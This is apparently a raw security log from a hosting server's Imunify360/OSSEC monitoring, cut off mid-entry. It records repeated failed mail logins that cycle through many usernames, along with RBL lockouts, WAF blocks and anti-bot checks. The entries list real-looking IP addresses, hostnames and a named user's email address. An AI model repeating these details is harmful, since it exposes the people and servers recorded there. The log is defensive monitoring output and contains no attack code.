2026-06-12 07:07:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50204: 535 Incorrect authentication data (set_id=osada@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:07:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35130: 535 Incorrect authentication data (set_id=october@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:07:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:07:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:15826: 535 Incorrect authentication data (set_id=bn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:08:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:08:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31606: 535 Incorrect authentication data (set_id=estoque@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:08:35 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:08:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:08:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2870: 535 Incorrect authentication data (set_id=cis@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:08:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:9898: 535 Incorrect authentication data (set_id=factory@ns5.netmaster.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.212.168.123
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:07-08.162.212.168.123||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:09:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:09:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:13814: 535 Incorrect authentication data (set_id=guest@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:09:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58294: 535 Incorrect authentication data (set_id=rimsky@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:09:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946769&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248171 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:07:09:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606764&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248195 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:09:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:09:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:23784: 535 Incorrect authentication data (set_id=instrument@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:09:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7314068&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248175 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:09:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:43996: 535 Incorrect authentication data (set_id=rimsky@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:09:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:09:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924756&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248176 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49788: 535 Incorrect authentication data (set_id=jn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:10:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:10:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7380635&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248248 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:07:10:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7391077&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248224 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:10:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5342: 535 Incorrect authentication data (set_id=lora@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:10:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804179&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248223 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:10:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15834: 535 Incorrect authentication data (set_id=tj@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:10:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052446&pdata=https%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248221 HTTP/2.0" 302 0 www.belali.tg "https://www.belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:10:24 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:10:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:11:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:11:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:61180: 535 Incorrect authentication data (set_id=orel@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:11:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5476: 535 Incorrect authentication data (set_id=ecom@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:11:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:11:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50142: 535 Incorrect authentication data (set_id=boardroom@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:11:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:11:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:7872: 535 Incorrect authentication data (set_id=ecom@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:07:11:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872046&pdata=http%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248301 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:12:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:12:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42254: 535 Incorrect authentication data (set_id=derick@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:12:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:64322: 535 Incorrect authentication data (set_id=immortal@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.255.83.134
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:172.255.83.134||TA:172.255.83.134||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:12:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:52172: 535 Incorrect authentication data (set_id=gou@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:12:28 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:12:31 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:12:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738953&pdata=https%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248342 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:13:33 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:14:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9595846&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248452 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:13:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56238: 535 Incorrect authentication data (set_id=friends@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-12 07:13:23 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:57042: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.12
country_id: 6252001
description:
205.169.39.12 - - [12/Jun/2026:07:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712211&pdata=http%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248404 HTTP/1.1" 302 0 www.belali.tg "http://www.belali.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.12


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:13:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [12/Jun/2026:07:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065774&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248403 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:13:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43366: 535 Incorrect authentication data (set_id=academy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:13:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:13:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34126: 535 Incorrect authentication data (set_id=kazakevich@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:13:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:38772: 535 Incorrect authentication data (set_id=vmtest@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:07:14:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039845&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248445 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:14:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43174: 535 Incorrect authentication data (set_id=photos5@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:14:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:14:37 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:07:14:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211804&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248492 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.105.214.103
country_id: 2750405
description:
89.105.214.103 - - [12/Jun/2026:07:15:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065262&pdata=https%253A%252F%252Fchuso.tg%252Fservice_chuso%252Fgynecologique-obstetrique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248499 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/service_chuso/gynecologique-obstetrique/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.105.214.103


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:14:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:14:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48268: 535 Incorrect authentication data (set_id=thumb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:14:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:26122: 535 Incorrect authentication data (set_id=temporal@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:07:14:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10383512&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248496 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-12 07:15:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39866: 535 Incorrect authentication data (set_id=hvac@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 12 07:16:01 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 07:15:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34746: 535 Incorrect authentication data (set_id=wsn@ns5.netmaster.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.78.139.208
country_id: 2363686
description:
[2026-06-12 07:16:11 +0000] info [webmaild] 41.78.139.208 - raouf.damtare@togointerim.net "POST /cpsess4996778301/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [41.78.136.113] != Current IP Address [41.78.139.208]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 07:15:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 07:15:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:63916: 535 Incorrect authentication data (set_id=testx@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 07:15:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 12 07:15:34 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [12/Jun/2026:07:16:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12753818&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248592 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [12/Jun/2026:07:17:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053482&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248624 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [12/Jun/2026:07:18:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10186905&pdata=http%253A%252F%252F154.70.82.246&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248680 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:19:30 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
